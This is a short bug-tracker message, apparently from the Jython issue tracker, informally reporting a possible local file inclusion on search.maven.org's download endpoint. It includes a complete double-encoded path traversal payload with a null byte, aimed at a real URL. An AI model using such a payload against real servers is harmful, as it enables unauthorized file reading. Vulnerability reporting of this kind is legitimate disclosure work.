Message12570

Author	forsa41
Recipients	forsa41
Date	2019-07-01.08:24:13
SpamBayes Score	-1.0
Marked as misclassified	Yes
Message-id	<1561969453.83.0.708747025003.issue2782@roundup.psfhosted.org>
In-reply-to

Content
while I download jython 2.7 for my burp plugin i see filepath paramater in GET requests and I tried LFI payload and i get picture that in attachments payload descp: double encoding and null paramater payload:https://search.maven.org/remotecontent?filepath=%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..% 25%5c..%25%5c..%00

while I download jython 2.7 for my burp plugin i see filepath paramater in GET requests and I tried LFI payload and i get picture that in attachments 
payload descp: double encoding and null paramater
payload:https://search.maven.org/remotecontent?filepath=%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%  25%5c..%25%5c..%00

History
Date	User	Action	Args
2019-07-01 08:24:13	forsa41	set	recipients: + forsa41
2019-07-01 08:24:13	forsa41	set	messageid: <1561969453.83.0.708747025003.issue2782@roundup.psfhosted.org>
2019-07-01 08:24:13	forsa41	link	issue2782 messages
2019-07-01 08:24:13	forsa41	create